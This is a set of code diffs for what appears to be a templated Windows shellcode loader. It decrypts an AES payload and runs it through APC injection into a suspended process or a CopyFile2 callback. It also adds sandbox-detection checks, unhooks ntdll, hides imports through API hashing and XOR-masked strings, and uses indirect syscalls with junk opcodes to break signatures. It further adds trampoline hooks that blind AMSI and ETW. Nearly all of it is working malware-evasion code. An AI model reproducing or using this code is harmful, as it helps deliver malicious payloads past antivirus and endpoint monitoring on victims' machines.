params.pProgressRoutine = (PCOPYFILE2_PROGRESS_ROUTINE)*ppAddress; // Shellcode as callback
|
||||
params.pvCallbackContext = NULL;
|
||||
|
||||
// Get TEMP path and create source/dest file paths
|
||||
GetEnvironmentVariableW(L"TEMP", szSourceFile, MAX_PATH);
|
||||
wcscpy(szDestFile, szSourceFile);
|
||||
wcscat(szSourceFile, L"\\#-CALLBACK_SRC_TMP-#");
|
||||
wcscat(szDestFile, L"\\#-CALLBACK_DST_TMP-#");
|
||||
|
||||
// Create a dummy source file
|
||||
HANDLE hFile = CreateFileW(szSourceFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hFile != INVALID_HANDLE_VALUE) {
|
||||
DWORD dwWritten;
|
||||
BYTE dummyData[1024] = { 0x41 }; // Just some dummy data
|
||||
WriteFile(hFile, dummyData, sizeof(dummyData), &dwWritten, NULL);
|
||||
CloseHandle(hFile);
|
||||
}
|
||||
|
||||
// Delete destination if it exists
|
||||
DeleteFileW(szDestFile);
|
||||
|
||||
JITTER_SLEEP(1500);
|
||||
//printf("[i] Triggering shellcode via CopyFile2 callback...\n");
|
||||
|
||||
// Trigger the callback by copying the file
|
||||
// The progress routine (our shellcode) will be called during the copy operation
|
||||
HRESULT hr = CopyFile2(szSourceFile, szDestFile, ¶ms);
|
||||
|
||||
// Cleanup temp files
|
||||
DeleteFileW(szSourceFile);
|
||||
DeleteFileW(szDestFile);
|
||||
|
||||
if (SUCCEEDED(hr)) {
|
||||
//printf("[+] Callback executed successfully!\n");
|
||||
return TRUE;
|
||||
} else {
|
||||
//printf("[!] CopyFile2 failed with HRESULT: 0x%0.8X\n", hr);
|
||||
return TRUE; // Still return TRUE as callback might have executed
|
||||
}
|
||||
}
|
||||
@@ -4,6 +4,8 @@
|
||||
#include "whispers.h"
|
||||
#include "functions.h"
|
||||
#include "AES_128_CBC.h"
|
||||
#include "sandbox.h"
|
||||
#include "trampoline.h"
|
||||
|
||||
#define TARGET_PROCESS "#-TARGET_PROCESS-#"
|
||||
|
||||
@@ -16,7 +18,7 @@ unsigned char payload[] = {
|
||||
#-PAYLOAD_VALUE-#
|
||||
};
|
||||
|
||||
int main() {
|
||||
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
|
||||
|
||||
SIZE_T sEncPayload = sizeof(payload);
|
||||
PVOID pClearText = NULL,
|
||||
@@ -32,6 +34,9 @@ int main() {
|
||||
NTSTATUS STATUS = 0x00;
|
||||
|
||||
|
||||
// Seed RNG for jittered sleep timing
|
||||
srand((unsigned int)GetTickCount());
|
||||
// #-SANDBOX_CHECK_CALL-#
|
||||
//printf("[+] Un-hooking Ntdll \n");
|
||||
LPVOID nt = MapNtdll();
|
||||
if (!nt)
|
||||
@@ -39,8 +44,11 @@ int main() {
|
||||
|
||||
if (!Unhook(nt))
|
||||
return -1;
|
||||
|
||||
// Install hooks AFTER unhooking so they don't get erased
|
||||
// #-TRAMPOLINE_CALL-#
|
||||
|
||||
Sleep(500);
|
||||
JITTER_SLEEP(500);
|
||||
|
||||
//printf("[+] PID: %d\n", GetCurrentProcessId());
|
||||
//printf("[+] Got the content at position: 0x%p with size of %zu\n", &payload, sEncPayload);
|
||||
@@ -48,7 +56,7 @@ int main() {
|
||||
// Decryption routine
|
||||
//printf("[i] Starting the decryption...\n");
|
||||
|
||||
Sleep(500);
|
||||
JITTER_SLEEP(500);
|
||||
// Allocating memory to store the decrypted payload inside of pClearText
|
||||
pClearText = (PBYTE)malloc(sEncPayload);
|
||||
AES_DecryptInit(&ctx, aes_k, aes_i);
|
||||
@@ -56,7 +64,7 @@ int main() {
|
||||
|
||||
//printf("\t[+] Payload decrypted at postion: 0x%p with size of %zu\n", pClearText, sEncPayload);
|
||||
|
||||
Sleep(1500);
|
||||
JITTER_SLEEP(1500);
|
||||
//printf("[i] Creating suspended process..\n");
|
||||
// Creating a suspeneded process now
|
||||
if (!CreateSuspendedProcess(TARGET_PROCESS, &dwProcessId, &hProcess, &hThread)) {
|
||||
@@ -66,36 +74,26 @@ int main() {
|
||||
}
|
||||
//printf("[+] Process created with PID: %d\n", dwProcessId);
|
||||
|
||||
Sleep(2500);
|
||||
//printf("[i] Injecting the shellcode into the process..\n");
|
||||
// Doing the APC Injection
|
||||
if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess)) {
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
Sleep(1500);
|
||||
//printf("[i] Running the shellcode via NtQueueApcThread..\n");
|
||||
// Running the thread via QueueAPCThread
|
||||
if ((STATUS = NTQAT(hThread, pProcess, NULL, NULL, NULL)) != 0) {
|
||||
|
||||
//printf("[-] NtQueueApcThrad failed!\n");
|
||||
return -1;
|
||||
}
|
||||
JITTER_SLEEP(2500);
|
||||
// #-INJECTION_METHOD_PLACEHOLDER-#
|
||||
|
||||
// API Hashing
|
||||
cDAPS cDAPSu = (cDAPS) GetProcAddressH(GetModuleHandleH(#-KERNELBASE_VALUE-#), #-DAPS_VALUE-#);
|
||||
|
||||
//printf("[i] Position of DAPsu: 0x%p\n", cDAPSu);
|
||||
|
||||
Sleep(1000);
|
||||
// Stopping the debugging of the process, which launches the payload
|
||||
cDAPSu(dwProcessId);
|
||||
//printf("[+] Payload executed!\n");
|
||||
// Cleanup: Zero out sensitive data before freeing
|
||||
if (pClearText) {
|
||||
SecureZeroMemory(pClearText, sEncPayload);
|
||||
free(pClearText);
|
||||
pClearText = NULL;
|
||||
}
|
||||
// Zero out encryption keys
|
||||
SecureZeroMemory(aes_k, sizeof(aes_k));
|
||||
SecureZeroMemory(aes_i, sizeof(aes_i));
|
||||
SecureZeroMemory(&ctx, sizeof(ctx));
|
||||
// Zero out embedded payload
|
||||
SecureZeroMemory(payload, sizeof(payload));
|
||||
|
||||
CloseHandle(hThread);
|
||||
CloseHandle(hProcess);
|
||||
free(pClearText);
|
||||
if (hThread)
|
||||
CloseHandle(hThread);
|
||||
if (hProcess)
|
||||
CloseHandle(hProcess);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -4,6 +4,8 @@
|
||||
#include "whispers.h"
|
||||
#include "functions.h"
|
||||
#include "AES_128_CBC.h"
|
||||
#include "sandbox.h"
|
||||
#include "trampoline.h"
|
||||
|
||||
#define TARGET_PROCESS "#-TARGET_PROCESS-#"
|
||||
|
||||
@@ -34,6 +36,9 @@ extern __declspec(dllexport) int ctf()
|
||||
NTSTATUS STATUS = 0x00;
|
||||
|
||||
|
||||
// Seed RNG for jittered sleep timing
|
||||
srand((unsigned int)GetTickCount());
|
||||
// #-SANDBOX_CHECK_CALL-#
|
||||
//printf("[+] Un-hooking Ntdll \n");
|
||||
LPVOID nt = MapNtdll();
|
||||
if (!nt)
|
||||
@@ -41,8 +46,11 @@ extern __declspec(dllexport) int ctf()
|
||||
|
||||
if (!Unhook(nt))
|
||||
return -1;
|
||||
|
||||
// Install hooks AFTER unhooking so they don't get erased
|
||||
// #-TRAMPOLINE_CALL-#
|
||||
|
||||
Sleep(500);
|
||||
JITTER_SLEEP(500);
|
||||
|
||||
//printf("[+] PID: %d\n", GetCurrentProcessId());
|
||||
//printf("[+] Got the content at position: 0x%p with size of %zu\n", &payload, sEncPayload);
|
||||
@@ -50,7 +58,7 @@ extern __declspec(dllexport) int ctf()
|
||||
// Decryption routine
|
||||
//printf("[i] Starting the decryption...\n");
|
||||
|
||||
Sleep(500);
|
||||
JITTER_SLEEP(500);
|
||||
// Allocating memory to store the decrypted payload inside of pClearText
|
||||
pClearText = (PBYTE)malloc(sEncPayload);
|
||||
AES_DecryptInit(&ctx, aes_k, aes_i);
|
||||
@@ -58,7 +66,7 @@ extern __declspec(dllexport) int ctf()
|
||||
|
||||
//printf("\t[+] Payload decrypted at postion: 0x%p with size of %zu\n", pClearText, sEncPayload);
|
||||
|
||||
Sleep(1500);
|
||||
JITTER_SLEEP(1500);
|
||||
//printf("[i] Creating suspended process..\n");
|
||||
// Creating a suspeneded process now
|
||||
if (!CreateSuspendedProcess(TARGET_PROCESS, &dwProcessId, &hProcess, &hThread)) {
|
||||
@@ -68,36 +76,26 @@ extern __declspec(dllexport) int ctf()
|
||||
}
|
||||
//printf("[+] Process created with PID: %d\n", dwProcessId);
|
||||
|
||||
Sleep(2500);
|
||||
//printf("[i] Injecting the shellcode into the process..\n");
|
||||
// Doing the APC Injection
|
||||
if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess)) {
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
Sleep(1500);
|
||||
//printf("[i] Running the shellcode via NtQueueApcThread..\n");
|
||||
// Running the thread via QueueAPCThread
|
||||
if ((STATUS = NTQAT(hThread, pProcess, NULL, NULL, NULL)) != 0) {
|
||||
|
||||
//printf("[-] NtQueueApcThrad failed!\n");
|
||||
return -1;
|
||||
}
|
||||
JITTER_SLEEP(2500);
|
||||
// #-INJECTION_METHOD_PLACEHOLDER-#
|
||||
|
||||
// API Hashing
|
||||
cDAPS cDAPSu = (cDAPS) GetProcAddressH(GetModuleHandleH(#-KERNELBASE_VALUE-#), #-DAPS_VALUE-#);
|
||||
|
||||
//printf("[i] Position of DAPsu: 0x%p\n", cDAPSu);
|
||||
|
||||
Sleep(1000);
|
||||
// Stopping the debugging of the process, which launches the payload
|
||||
cDAPSu(dwProcessId);
|
||||
//printf("[+] Payload executed!\n");
|
||||
// Cleanup: Zero out sensitive data before freeing
|
||||
if (pClearText) {
|
||||
SecureZeroMemory(pClearText, sEncPayload);
|
||||
free(pClearText);
|
||||
pClearText = NULL;
|
||||
}
|
||||
// Zero out encryption keys
|
||||
SecureZeroMemory(aes_k, sizeof(aes_k));
|
||||
SecureZeroMemory(aes_i, sizeof(aes_i));
|
||||
SecureZeroMemory(&ctx, sizeof(ctx));
|
||||
// Zero out embedded payload
|
||||
SecureZeroMemory(payload, sizeof(payload));
|
||||
|
||||
CloseHandle(hThread);
|
||||
CloseHandle(hProcess);
|
||||
free(pClearText);
|
||||
if (hThread)
|
||||
CloseHandle(hThread);
|
||||
if (hProcess)
|
||||
CloseHandle(hProcess);
|
||||
|
||||
return 0;
|
||||
|
||||
|
||||
@@ -0,0 +1,61 @@
|
||||
#include <windows.h>
|
||||
#include "sandbox.h"
|
||||
#include "functions.h"
|
||||
|
||||
/*
|
||||
* RunSandboxChecks
|
||||
*
|
||||
* Lightweight pre-flight checks before payload execution.
|
||||
* Returns TRUE -> environment looks like a real workstation.
|
||||
* Returns FALSE -> likely a sandbox / analysis VM; loader should exit cleanly.
|
||||
*
|
||||
* All WinAPI calls are resolved at runtime via API hashing (GetProcAddressH /
|
||||
* GetModuleHandleH) so no suspicious IAT entries appear in the binary.
|
||||
*
|
||||
* Checks performed:
|
||||
* 1. System uptime < #-SANDBOX_MIN_UPTIME_MS-# ms
|
||||
* 2. Physical RAM < #-SANDBOX_MIN_RAM_GB-# GB
|
||||
* 3. Logical CPU count < #-SANDBOX_MIN_CPU-#
|
||||
*/
|
||||
|
||||
typedef ULONGLONG (WINAPI* pGetTickCount64_t)(void);
|
||||
typedef BOOL (WINAPI* pGlobalMemoryStatusEx_t)(LPMEMORYSTATUSEX);
|
||||
typedef void (WINAPI* pGetSystemInfo_t)(LPSYSTEM_INFO);
|
||||
|
||||
BOOL RunSandboxChecks(void) {
|
||||
|
||||
HMODULE hK32 = GetModuleHandleH(#-KERNEL32_VALUE-#);
|
||||
if (!hK32)
|
||||
return FALSE;
|
||||
|
||||
/* --- 1. Uptime --- */
|
||||
pGetTickCount64_t fnGTC64 =
|
||||
(pGetTickCount64_t) GetProcAddressH(hK32, #-GETTICKCOUNT64_VALUE-#);
|
||||
if (!fnGTC64 || fnGTC64() < #-SANDBOX_MIN_UPTIME_MS-#)
|
||||
return FALSE;
|
||||
|
||||
/* --- 2. RAM --- */
|
||||
pGlobalMemoryStatusEx_t fnGMSE =
|
||||
(pGlobalMemoryStatusEx_t) GetProcAddressH(hK32, #-GLOBALMEMORYSTATUSEX_VALUE-#);
|
||||
if (!fnGMSE)
|
||||
return FALSE;
|
||||
MEMORYSTATUSEX ms;
|
||||
ms.dwLength = sizeof(ms);
|
||||
if (!fnGMSE(&ms))
|
||||
return FALSE;
|
||||
if (ms.ullTotalPhys < #-SANDBOX_MIN_RAM_BYTES-#)
|
||||
return FALSE;
|
||||
|
||||
/* --- 3. CPU count --- */
|
||||
pGetSystemInfo_t fnGSI =
|
||||
(pGetSystemInfo_t) GetProcAddressH(hK32, #-GETSYSTEMINFO_VALUE-#);
|
||||
if (!fnGSI)
|
||||
return FALSE;
|
||||
SYSTEM_INFO si;
|
||||
fnGSI(&si);
|
||||
if (si.dwNumberOfProcessors < #-SANDBOX_MIN_CPU-#)
|
||||
return FALSE;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,8 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
|
||||
/*
|
||||
* RunSandboxChecks — returns TRUE if the environment looks legitimate.
|
||||
* Call this early in the entry point; bail out if it returns FALSE.
|
||||
*/
|
||||
BOOL RunSandboxChecks(void);
|
||||
@@ -0,0 +1,307 @@
|
||||
/*
|
||||
* trampoline.c
|
||||
*
|
||||
* AMSI & ETW bypass via x64 trampoline hooks.
|
||||
* Adapted from TrampoLatte (github.com/MochaByte/TrampoLatte).
|
||||
*
|
||||
* All WinAPI calls are resolved at runtime via API hashing so no
|
||||
* suspicious IAT entries appear in the binary.
|
||||
*/
|
||||
|
||||
// #-DEBUG_DEFINE-#
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdint.h>
|
||||
#include "functions.h"
|
||||
#include "trampoline.h"
|
||||
|
||||
#ifdef DEBUG
|
||||
#include <stdio.h>
|
||||
#define DBG(fmt, ...) do { char _b[512]; sprintf(_b, "[TrampoLatte] " fmt "\n", ##__VA_ARGS__); OutputDebugStringA(_b); } while(0)
|
||||
#else
|
||||
#define DBG(fmt, ...) ((void)0)
|
||||
#endif
|
||||
|
||||
#define TRAMPOLINE_SIZE 13
|
||||
|
||||
extern void RetStub(void);
|
||||
|
||||
typedef HANDLE HAMSICONTEXT;
|
||||
typedef HANDLE HAMSISESSION;
|
||||
#define AMSI_RESULT_CLEAN 0
|
||||
typedef int AMSI_RESULT;
|
||||
|
||||
typedef HRESULT (WINAPI *PFN_AMSI_SCAN_BUFFER)(
|
||||
HAMSICONTEXT, PVOID Buffer, ULONG Length,
|
||||
LPCWSTR ContentName, HAMSISESSION, AMSI_RESULT *Result);
|
||||
|
||||
static PFN_AMSI_SCAN_BUFFER g_pOriginalAmsiFunc = NULL;
|
||||
|
||||
|
||||
BOOL GetEtwpEventWriteFull(OUT PVOID *ppFunction)
|
||||
{
|
||||
// First getting a pointer to the EtwEventWriteEx function
|
||||
PBYTE pEtwEventWriteEx = (PBYTE)GetProcAddressH(
|
||||
GetModuleHandleH(#-NTDLL_VALUE-#),
|
||||
#-ETWEVENTWRITEEX_VALUE-#);
|
||||
if (pEtwEventWriteEx == NULL)
|
||||
{
|
||||
DBG("[-] Failed to get EtwEventWriteEx");
|
||||
return FALSE;
|
||||
}
|
||||
DBG("[+] Found EtwEventWriteEx at 0x%p", pEtwEventWriteEx);
|
||||
|
||||
PVOID pTargetFunction = NULL,
|
||||
pTemp = NULL;
|
||||
int i = 0;
|
||||
|
||||
// 1. We start at the pointers address and go down the memory lane to find the C3 instruction
|
||||
|
||||
while(1)
|
||||
{
|
||||
BYTE opcode = pEtwEventWriteEx[i];
|
||||
|
||||
// 2. We have reached the RET instruction, stop there
|
||||
if (pEtwEventWriteEx[i] == 0xC3)
|
||||
{
|
||||
break;
|
||||
}
|
||||
i++;
|
||||
}
|
||||
|
||||
// 3. By doing it this way, we ensure we hit the right 0xE8 instruction which is the CALL instruction.
|
||||
|
||||
// 4. We loop again, this time we move "upwards" to hit the CALL instruction
|
||||
while (i)
|
||||
{
|
||||
BYTE opcode = pEtwEventWriteEx[i];
|
||||
|
||||
// 5. We have reached the CALL instruction
|
||||
if (opcode == 0xE8)
|
||||
{
|
||||
// We get the relative address for EtwpEventWriteEx.
|
||||
// pEtwEventWriteEx + i -> this is the CALL instruction
|
||||
// + 1 gets you the first byte of the displacement
|
||||
// I used int32_t because its a 32-bit signed integer and negative displacements are handled correctly
|
||||
int32_t relative = *(int32_t*)(pEtwEventWriteEx + i + 1);
|
||||
DBG("relative addr: 0x%p", (PVOID)(uintptr_t)relative);
|
||||
|
||||
// We go from pEtwEventWriteEx + i which is the CALL instruction. +5 gets you past that and + relative gets you the relative address of EtwpEventWriteFull.
|
||||
pTargetFunction = pEtwEventWriteEx + i + 5 + relative;
|
||||
DBG("pTargetFunction at position: 0x%p", pTargetFunction);
|
||||
|
||||
// 6. pTargetFunction is now EtwpEventWriteFull
|
||||
*ppFunction = pTargetFunction;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
i--;
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
|
||||
BOOL TrampolineX64(IN PVOID pHookedFunction, IN PVOID pDetourFunction, OUT PVOID *pOriginalFunc, OUT DWORD *dwOldProt)
|
||||
{
|
||||
DWORD dwOldProtect = 0;
|
||||
|
||||
// Trampoline x64
|
||||
uint8_t uTrampoline[] = {
|
||||
0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, pFunctionToRun
|
||||
0x41, 0xFF, 0xE2 // jmp r10
|
||||
};
|
||||
|
||||
// The actual patch
|
||||
uint64_t patch = (uint64_t)(pDetourFunction);
|
||||
|
||||
// Prepare the jump point
|
||||
memcpy(&uTrampoline[2], &patch, sizeof(patch));
|
||||
|
||||
DBG("TrampolineX64: target=0x%p detour=0x%p", pHookedFunction, pDetourFunction);
|
||||
|
||||
// Dump the bytes we intend to write
|
||||
DBG(" Trampoline payload: %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X",
|
||||
uTrampoline[0], uTrampoline[1], uTrampoline[2], uTrampoline[3],
|
||||
uTrampoline[4], uTrampoline[5], uTrampoline[6], uTrampoline[7],
|
||||
uTrampoline[8], uTrampoline[9], uTrampoline[10], uTrampoline[11], uTrampoline[12]);
|
||||
|
||||
// Dump the original bytes at the target before we touch anything
|
||||
{
|
||||
BYTE *p = (BYTE *)pHookedFunction;
|
||||
DBG(" BEFORE: %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X",
|
||||
p[0], p[1], p[2], p[3], p[4], p[5], p[6],
|
||||
p[7], p[8], p[9], p[10], p[11], p[12]);
|
||||
}
|
||||
|
||||
// Saving the old function
|
||||
PVOID pTmp = VirtualAlloc(NULL, TRAMPOLINE_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||
if (pTmp == NULL)
|
||||
{
|
||||
DBG(" VirtualAlloc failed for backup: %lu", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
memcpy(pTmp, pHookedFunction, TRAMPOLINE_SIZE);
|
||||
*pOriginalFunc = pTmp;
|
||||
|
||||
// Changing memory permissions for the function you want to hook
|
||||
if (!VirtualProtect(pHookedFunction, TRAMPOLINE_SIZE, PAGE_EXECUTE_READWRITE, &dwOldProtect))
|
||||
{
|
||||
DBG(" VirtualProtect failed: %lu", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
DBG(" VirtualProtect OK — old protection: 0x%lX (%lu)", dwOldProtect, dwOldProtect);
|
||||
|
||||
// Write using volatile pointer to prevent compiler from optimizing the write away
|
||||
volatile BYTE *dst = (volatile BYTE *)pHookedFunction;
|
||||
for (int i = 0; i < TRAMPOLINE_SIZE; i++)
|
||||
{
|
||||
dst[i] = uTrampoline[i];
|
||||
}
|
||||
|
||||
// Flush instruction cache so the CPU picks up the new bytes
|
||||
FlushInstructionCache((HANDLE)-1, pHookedFunction, TRAMPOLINE_SIZE);
|
||||
|
||||
// Verify the write actually landed
|
||||
{
|
||||
BYTE *p = (BYTE *)pHookedFunction;
|
||||
DBG(" AFTER: %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X",
|
||||
p[0], p[1], p[2], p[3], p[4], p[5], p[6],
|
||||
p[7], p[8], p[9], p[10], p[11], p[12]);
|
||||
|
||||
if (p[0] != 0x49 || p[1] != 0xBA)
|
||||
{
|
||||
DBG(" !!! WRITE VERIFICATION FAILED — bytes unchanged. Trying WriteProcessMemory fallback...");
|
||||
SIZE_T written = 0;
|
||||
if (WriteProcessMemory((HANDLE)-1, pHookedFunction, uTrampoline, TRAMPOLINE_SIZE, &written))
|
||||
{
|
||||
DBG(" WriteProcessMemory OK — %llu bytes written", (unsigned long long)written);
|
||||
FlushInstructionCache((HANDLE)-1, pHookedFunction, TRAMPOLINE_SIZE);
|
||||
|
||||
// Re-check
|
||||
if (p[0] != 0x49 || p[1] != 0xBA)
|
||||
{
|
||||
DBG(" !!! WriteProcessMemory also failed to stick. Page may be protected by CIG/ACG.");
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
DBG(" WriteProcessMemory failed: %lu", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
DBG(" Trampoline verified and set!");
|
||||
|
||||
// Assigning values
|
||||
*dwOldProt = dwOldProtect;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
BOOL RemoveTrampoline(IN PVOID pHookedFunc, IN PVOID pOriginalFunction, IN DWORD dwOldProtect)
|
||||
{
|
||||
DWORD dwNewProtect = 0,
|
||||
dwOldProtection = 0;
|
||||
|
||||
// Setting the original function
|
||||
memcpy(pHookedFunc, pOriginalFunction, TRAMPOLINE_SIZE);
|
||||
|
||||
// Restoring the old protetion values
|
||||
if (!VirtualProtect(pHookedFunc, TRAMPOLINE_SIZE, dwOldProtect, &dwNewProtect))
|
||||
{
|
||||
DBG("Failed to restore memory protection: %lu", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
// Function to just RET when a hooked function is called
|
||||
VOID BlockExecutionFlow(PCONTEXT pCtx)
|
||||
{
|
||||
// Altering execution flow by placing the instruction pointer to the RetStub
|
||||
pCtx->Rip = (ULONG_PTR)&RetStub;
|
||||
}
|
||||
|
||||
|
||||
HRESULT WINAPI ProxyAmsi(HAMSICONTEXT ctx, PVOID buf, ULONG len, LPCWSTR name, HAMSISESSION sess, AMSI_RESULT *pRes)
|
||||
{
|
||||
// Changing the return value
|
||||
*pRes = AMSI_RESULT_CLEAN;
|
||||
// returning SUCCESS code
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
BOOL InstallTrampolines(BOOL bypassAmsi, BOOL bypassEtw)
|
||||
{
|
||||
PVOID pOriginalEtwFunc = NULL,
|
||||
pEtwpEventWriteFull = NULL,
|
||||
pOriginalAmsiFunc = NULL;
|
||||
|
||||
DWORD dwOldProtectAmsi = 0,
|
||||
dwOldProtectEtw = 0;
|
||||
|
||||
if (bypassEtw) {
|
||||
HMODULE hNtdll = (HMODULE)GetModuleHandleH(#-NTDLL_VALUE-#);
|
||||
|
||||
DBG("Fetching EtwpEventWriteFull..");
|
||||
|
||||
/* 1. EtwpEventWriteFull -- private, found via byte scan (original TrampoLatte) */
|
||||
GetEtwpEventWriteFull(&pEtwpEventWriteFull);
|
||||
if (pEtwpEventWriteFull) {
|
||||
if (!TrampolineX64(pEtwpEventWriteFull, RetStub, &pOriginalEtwFunc, &dwOldProtectEtw))
|
||||
{
|
||||
DBG("Failed to trampoline EtwpEventWriteFull");
|
||||
}
|
||||
else
|
||||
{
|
||||
DBG("EtwpEventWriteFull is now hooked at 0x%p", pEtwpEventWriteFull);
|
||||
DBG("dwOldProtectEtw value: %lu", dwOldProtectEtw);
|
||||
}
|
||||
} else {
|
||||
DBG("Could not locate EtwpEventWriteFull, skipping");
|
||||
}
|
||||
|
||||
DBG("ETW hooking phase complete");
|
||||
}
|
||||
|
||||
if (bypassAmsi) {
|
||||
/* Force-load amsi.dll if not already present.
|
||||
* String is built on the stack -- no static "amsi.dll" in the binary. */
|
||||
HMODULE hAmsi = (HMODULE)GetModuleHandleH(#-AMSI_VALUE-#);
|
||||
if (!hAmsi) {
|
||||
char amsi[] = { 'a'^0x5,'m'^0x5,'s'^0x5,'i'^0x5,
|
||||
'.'^0x5,'d'^0x5,'l'^0x5,'l'^0x5, 0 };
|
||||
for (int i = 0; amsi[i]; i++) amsi[i] ^= 0x5;
|
||||
hAmsi = LoadLibraryA(amsi);
|
||||
}
|
||||
if (!hAmsi) {
|
||||
DBG("Failed to load AMSI.DLL");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/* Resolve AmsiScanBuffer via API hashing -- no IAT entry */
|
||||
PVOID pAmsiScanBuff = (PVOID)GetProcAddressH(hAmsi, #-AMSISCANBUFFER_VALUE-#);
|
||||
if (pAmsiScanBuff == NULL) {
|
||||
DBG("Failed to get AmsiScanBuffer");
|
||||
return FALSE;
|
||||
}
|
||||
DBG("Found AmsiScanBuffer at 0x%p", pAmsiScanBuff);
|
||||
|
||||
if (!TrampolineX64(pAmsiScanBuff, ProxyAmsi, (PVOID *)&g_pOriginalAmsiFunc, &dwOldProtectAmsi))
|
||||
{
|
||||
DBG("Failed to trampoline AmsiScanBuffer");
|
||||
return FALSE;
|
||||
}
|
||||
DBG("AmsiScanBuffer is now hooked");
|
||||
DBG("dwOldProtectAmsi value: %lu", dwOldProtectAmsi);
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
|
||||
/*
|
||||
* trampoline.h
|
||||
*
|
||||
* AMSI & ETW bypass via x64 trampoline hooks.
|
||||
* Adapted from TrampoLatté (github.com/MochaByte/TrampoLatte).
|
||||
*
|
||||
* InstallTrampolines
|
||||
* bypassAmsi – hook AmsiScanBuffer -> always return AMSI_RESULT_CLEAN
|
||||
* bypassEtw – hook EtwpEventWriteFull -> silent no-op return
|
||||
*
|
||||
* Returns TRUE on success (or when both flags are FALSE).
|
||||
*/
|
||||
BOOL InstallTrampolines(BOOL bypassAmsi, BOOL bypassEtw);
|
||||
@@ -89,7 +89,6 @@ LPVOID MapNtdll() {
|
||||
NTSTATUS status2 = pNtMapViewOfSection(hSection, NtCurrentProcess(), &pntdll, 0, 0, NULL, &ViewSize, 1, 0, PAGE_READONLY);
|
||||
if (!NT_SUCCESS(status2)) {
|
||||
//printf("[!] Failed in NtMapViewOfSection (%u)\n", GetLastError());
|
||||
getchar();
|
||||
return NULL;
|
||||
}
|
||||
return pntdll;
|
||||
|
||||
@@ -1,123 +1,70 @@
|
||||
; ===============================================================
|
||||
; NASM x64 version of your assembly.
|
||||
; Save as "whispers-asm.nasm", for example.
|
||||
; Assemble: nasm -f win64 whispers-asm.nasm -o whispers-asm.obj
|
||||
; Link: x86_64-w64-mingw32-gcc main.c whispers-asm.obj -o myprogram.exe
|
||||
; ===============================================================
|
||||
bits 64
|
||||
default rel
|
||||
|
||||
bits 64 ; 64-bit code
|
||||
default rel ; Use RIP-relative addressing by default
|
||||
; XOR keys — values in .data are stored masked so plaintext never sits on disk
|
||||
%define KEY_SSN 0xD3C97B2F
|
||||
%define KEY_ADDR 0xD3C97B2FD3C97B2F
|
||||
|
||||
; ---------------------------------------------------------------------------
|
||||
; .data — stored as (realValue ^ key); decoded at dispatch time
|
||||
; ---------------------------------------------------------------------------
|
||||
section .data
|
||||
dwSSN dd 0
|
||||
qAddr dq 0
|
||||
|
||||
; ---------------------------------------------------------------------------
|
||||
; .text
|
||||
; ---------------------------------------------------------------------------
|
||||
section .text
|
||||
|
||||
; Export the labels so your C code can call them
|
||||
global NTAVM
|
||||
global NTPVM
|
||||
global NTWVM
|
||||
global NTQAT
|
||||
|
||||
; Declare external symbols (the calls to these are in your code)
|
||||
extern SW3_GetSyscallNumber
|
||||
extern SW3_GetRandomSyscallAddress
|
||||
; ---------------------------------------------------------------------------
|
||||
; SetConfig(WORD wSSN [ecx], PVOID pSyscallInst [rdx])
|
||||
; XOR-masks both values before storing so .data never holds plaintext.
|
||||
; ---------------------------------------------------------------------------
|
||||
global SetConfig
|
||||
SetConfig:
|
||||
push rax
|
||||
xor ecx, KEY_SSN ; mask SSN before store
|
||||
mov dword [rel dwSSN], ecx
|
||||
mov rax, KEY_ADDR ; mask address before store
|
||||
xor rdx, rax
|
||||
mov qword [rel qAddr], rdx
|
||||
pop rax
|
||||
ret
|
||||
|
||||
; ---------------------------------------------------------------------------
|
||||
; NTAVM
|
||||
; HellHall dispatch — four typed aliases, one body
|
||||
;
|
||||
; Obfuscation applied:
|
||||
; • address decoded into r11 BEFORE eax is set (avoids rax clobber)
|
||||
; • push r11 / ret replaces jmp [qAddr] — no indirect-jump byte pattern
|
||||
; • junk ops interspersed to break byte-signature matching
|
||||
; ---------------------------------------------------------------------------
|
||||
NTAVM:
|
||||
mov [rsp + 8], rcx ; Save registers
|
||||
mov [rsp + 16], rdx
|
||||
mov [rsp + 24], r8
|
||||
mov [rsp + 32], r9
|
||||
global HellHall_NtAVM
|
||||
global HellHall_NtPVM
|
||||
global HellHall_NtWVM
|
||||
global HellHall_NtQAT
|
||||
|
||||
sub rsp, 0x28
|
||||
mov ecx, 0xC189CD1E ; Load function hash into ECX
|
||||
call SW3_GetRandomSyscallAddress
|
||||
mov r11, rax ; Save the address of the syscall
|
||||
|
||||
mov ecx, 0xC189CD1E ; Re-load function hash (optional)
|
||||
call SW3_GetSyscallNumber
|
||||
|
||||
add rsp, 0x28
